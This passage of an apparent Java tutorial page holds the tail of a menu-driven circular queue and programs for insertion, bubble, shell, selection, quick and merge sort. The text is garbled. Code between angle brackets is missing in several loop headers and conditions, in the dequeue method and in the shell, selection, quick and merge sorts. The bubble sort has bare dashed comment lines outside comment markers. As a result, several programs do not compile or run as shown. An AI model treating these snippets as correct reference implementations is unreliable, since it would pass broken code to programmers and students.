queueArray[rear]=no;
System.out.println("One element is added successfully to the queue"+rear);
++rear;
currentQueueSize++;

}
/************************************************************************
Also we can add elements to the queue if the value of rear is less than 
maxQueueSize
that is there are empty places in the queue, Then we can add elements to queue
************************************************************************/
else if(rear<maxQueueSize){
System.out.println("Enter the element to be added to the rear end");
int no=readNo();
//We need to increment front in order to insert new element to queue
queueArray[rear]=no;
System.out.println("One element is added successfully to the queue"+rear);
++rear;
currentQueueSize++;

}/************************************************************************
If rear==maxQueueSize then we can add elements to queue only if there are
empty slots in the front of array (i.e if currentQueueSize<maxQueueSize)
************************************************************************/
else if(rear==maxQueueSize&&currentQueueSize<maxQueueSize){
System.out.println("Enter the element to be added to the rear end");
int no=readNo();
rear=0;

queueArray[rear]=no;
System.out.println("One element is added successfully to the queue"+rear);
++rear;
currentQueueSize++;

}
/************************************************************************
If any of the above cases are not true that means there are no place in
the queue
************************************************************************/
else{
System.out.println("overflow");
}

}

/*****************************************************************************
The function deQueueFront() is used to delete elements from queueArray.it will
remove elements from Front
****************************************************************************/
private void deQueueFront(){

/**********************************************************************
If elements are present in queue i.e value of front less than rear
then we can delete element
**********************************************************************/
if(currentQueueSize==0){
System.out.println("Underflow");
}
else if(front0){
queueArray[front]=0;
++front;
--currentQueueSize;
System.out.println("One element has deleted");

}
else if(front==maxQueueSize&&currentQueueSize>0){

front=0;
queueArray[front]=0;
++front;
--currentQueueSize;
System.out.println("One element has deleted");

}

}

/****************************************************************************
The displayElement() function will display all elements of queue

***************************************************************************/
private void displayElement(){
/***********************************************************************
There wont be any elements when currentQueueSize==0
*********************************************************************/
if(currentQueueSize==0)
System.out.println("No elements in the Queue to display:");
/*************************************************************************
If currentQueueSize!=0 which means there are elements in the queue& we can
print them using below code
*************************************************************************/
else{
System.out.println("Elements in queue are ");
int i=front,j=0;

while(j<currentQueueSize){
if(i==maxQueueSize)
i=0;
System.out.println(queueArray[i]);

j++;i++;
}

}
}
public static void main(String[] args) throws Exception{
/************************************************************************
The Queue q=new Queue() will create a new object of Queue() class

**********************************************************************/
Queue q=new Queue();
q.createQueue();
int choice;
System.out.println("Menu Driven Queue Implementation using array::");
do{
System.out.println("Menu\n1 Enqueue\n2 Dequeue \n3 Display \n4 Exit");
System.out.println("Enter your choice");
choice=q.readNo();
if(choice==1)
q.enQueueRear();
else if(choice==2)
q.deQueueFront();
else if(choice==3)
q.displayElement();
}while(choice!=4);

}

}

Insertion sort using Java


import java.io.*;
import java.lang.Math;
public class insertion
{
public static void main(String args[])
{
 int []arr=new int[10];
 int i,j,t;
 System.out.println("Array before sorting:");
   for(i=0;i<arr.length;i++) {
   arr[i]=(int)(Math.random()*100);
   System.out.println(arr[i]);
   }
 for(j=1;j<arr.length;j++) { 
   t=arr[j]; 
   for(i=j-1;(i>=0) && (arr[i]>t);i--) {
       arr[i+1]=arr[i];
   }
 arr[i+1]=t;
 }
 System.out.println("Array after sorting:");
 for(j=0;j<arr.length;j++) {

 System.out.println(arr[j]);
 }
}

}

Bubble Sort using Java


import java.io.*;
import java.lang.Math;
public class bubble
{
public static void main(String args[])
{
int []arr=new int[10];
int i,j,t,flag=1;
System.out.println("Array before sorting:");
for(i=0;i<arr.length;i++) {
arr[i]=(int)(Math.random()*100);
System.out.print(arr[i]);
System.out.print(" ");
}
System.out.println("");
-------------------------------------------------------------------------
Compare each element adjacent to the current element and swap if required
-------------------------------------------------------------------------

for(i=0;i<arr.length && flag==1;i++) {
flag=0;
for(j=0;(j<arr.length-1);j++) {
if(arr[j+1]<arr[j]) {
t=arr[j];
arr[j]=arr[j+1];
arr[j+1]=t;
flag=1;
}
}
}
-------------------------------------------------------------------------
Display sorted array
-------------------------------------------------------------------------

System.out.println("Array after sorting:");
for(j=0;j<arr.length;j++) {

System.out.print(arr[j]);
System.out.print(" ");

}
System.out.println("");
}

}

Shell Sort Implementation using Java


import java.io.*;
import java.lang.Math;
public class shell
{
public static void main(String args[])
{
int []arr=new int[10];
int i,j,t,flag=1;
System.out.println("Array before sorting:");
  for(i=0;i1)) {
  flag=0;
  l=(l+1)/2;
   for(j=0;(j<arr.length-l);j++) {
     if(arr[j+l]<arr[j]) {
     t=arr[j+l];
     arr[j+l]=arr[j];
     arr[j]=t;
     flag=1;
     }
   }
  }
/*-------------------------------------------------------------------------
Display sorted array
-------------------------------------------------------------------------*/
System.out.println("Array after sorting:");
  for(j=0;j<arr.length;j++) {
  System.out.print(arr[j]);
  System.out.print(" ");
  }
System.out.println("");
}
}

Selection Sort using Java


import java.io.*;
import java.lang.Math;
public class selection
{
public static void main(String args[])
{
int []arr=new int[10];
int i,j,t,first;
System.out.println("Array before sorting:");
for(i=0;i<arr.length;i++) {
arr[i]=(int)(Math.random()*100);
System.out.print(arr[i]);
System.out.print(" ");
}
System.out.println("");
for(i=0;i0;i--) {
first=0;
for(j=1;jarr[first]) {
first=j;
}
}
t=arr[first];
arr[first]=arr[i];
arr[i]=t;
}
/*-------------------------------------------------------------------------
Display sorted array
--------------------------------------------------------------------------*/
System.out.println("Array after sorting:");
for(j=0;j<arr.length;j++) {
System.out.print(arr[j]);
System.out.print(" ");
}
System.out.println("");
}
}

Quick sort Implementation using Java


 
 
import java.io.*;
import java.lang.Math;
public class Quicksort {
public static void main(String args[]) {
int []arr=new int[10];
int i,j,t,first;
System.out.println("Array before sorting:");
  for(i=0;i<arr.length;i++) {
  arr[i]=(int)(Math.random()*100);
  System.out.print(arr[i]);
  System.out.print(" ");
  }
quickSort(arr,0,arr.length-1);  
/*-------------------------------------------------------------------------
Display sorted array
--------------------------------------------------------------------------*/
System.out.println("");
System.out.println("Array after sorting:");
  for(j=0;j=len)
      return;             // array length=0
      int l=low,n=len; 
      int pivot=a[(l+n)/2]; // pivot
      while(l<n)
           {               
                while(l<n && a[l]<pivot)   
                     l++;   
                while(l<n && a[l]>pivot)   
                     n--;   
               if(l<n){  
                 int tem = a[l];  
                 a[l]=a[n];  
                 a[n]=tem; 
               }
               if(n<l) {
               int t = l;l=n;n=t;   
               }  
           quickSort(a,low,l); //left array sorting
           quickSort(a,l==low?l+1:l,len);  //right array sorting
          }
}
}

Merge Sort Implementation using Java

import java.io.BufferedReader;
import java.io.InputStreamReader;
 
public class MergeSort {
/*********************************************************************************
 The arrayUnsorted[] is where user inputs the unsorted elements
 arraySorted[]-array which will contain the elements of in sorted order
 temp[]-array which is used for temporary use
 length-indicates the number of elements in the array
 *********************************************************************************/
    int length,i;
    int arrayUnsorted[],arraySorted[],temp[];
    public static void main(String[] args) throws Exception{
       
        MergeSort ms=new MergeSort();
        ms.readArray();
        System.out.println("The Unsorted array is ");
        ms.displayArray(ms.arrayUnsorted);
        /*************************************************************************
         The array arrayUnsorted[] is copied to arraySorted[]
         mergeSort
         *************************************************************************/
        ms.copyArray(ms.arrayUnsorted, ms.arraySorted, 0, ms.length-1);
        ms.mergeSort(0, ms.length-1);
        System.out.println("The Sorted array is ");
        ms.displayArray(ms.arraySorted);

    }
    /*******************************************************************
     function readArray() reads the length of array & then reads all 
     elements to arrayUnsorted[]
     *******************************************************************/
    private void readArray() throws Exception{
        System.out.println("Enter the number of elements  in the array");
        length=readNo();
        arrayUnsorted=new int[length];
        arraySorted=new int[length];
        temp=new int[length];
        System.out.println("Enter the elements of array");
        for(i=0;i            arrayUnsorted[i]=readNo();   
        }
    }
    /*******************************************************************
     function readNo() reads an integer from keyboard & returns it
     *******************************************************************/
    private int readNo() throws Exception{
        String enteredElement;
        InputStreamReader isr=new InputStreamReader(System.in);
        BufferedReader br=new BufferedReader(isr);
        enteredElement=br.readLine();
        int no=Integer.parseInt(enteredElement);
        return no;
    }
    /**************************************************************************
     function displayArray() is used to display all the elements of the array,
     which  given as its input 
     **************************************************************************/
    private void displayArray(int[] arrayToDisplay ){
        int i;
        for(i=0;i                System.out.print(arrayToDisplay[i]);
                System.out.print(" ");
        }
        System.out.println();   
    }
    /*****************************************************************************
     function mergeSort() is where original divide and conquer approach happens.Here 
     the lower & upper limit of array are taken as input & the whole array is split 
     into two subarrays.Then these two subarrays are again divided until subarray 
     will have 1 element in it.Then sub arrays are merged in a sorted manner
     *****************************************************************************/
    private void mergeSort(int low,int high){
        if(low            int mid=(low+high)/2;
            mergeSort(low, mid);
            mergeSort(mid+1, high);
            merge(low,mid,high);           
        }               
    }
    /*****************************************************************************
     function merge() is used to merge two subarrays in a sorted manner.For temporary 
     storing results of sorted array, temp[] array is used.
     In this function the subarrays are individually sorted.The subarray elements are 
     compared with other & the elements of both array are stored to temporary array 
     in sorted manner.After sorting  the both arrays & then the sorted result is copied 
     from temp[] array to arraySorted[] 
     ******************************************************************************/
    private void merge(int low,int mid,int high){
        int i,j,k;
        i=j=low;
        k=mid+1;
        while(i<=mid&&k<=high){
            if(arraySorted[i]<=arraySorted[k]){
                temp[j]=arraySorted[i];
                i++;
            }
            else{
                temp[j]=arraySorted[k];
                k++;
               
            }
            j++;
        }
        while(i<=mid){
            temp[j]=arraySorted[i];
            j++;i++;
        }
        while(k<=high){
            temp[j]=arraySorted[k];
            k++;
            j++;
        }       
        copyArray(temp, arraySorted, low,high);       
    }   
    /****************************************************************************
      function copyArray() is used to copy existingArray[] to newArray with lower 
      & upper limits as existingArrayLow & existingArrayHigh 
     ***************************************************************************/
    private void copyArray(int existingArray[],int newArray[],int existingArrayLow,int existingArrayHigh){
        for(int i=existingArrayLow;i<=existingArrayHigh;i++){
            newArray[i]=existingArray[i];
        }       
    }
}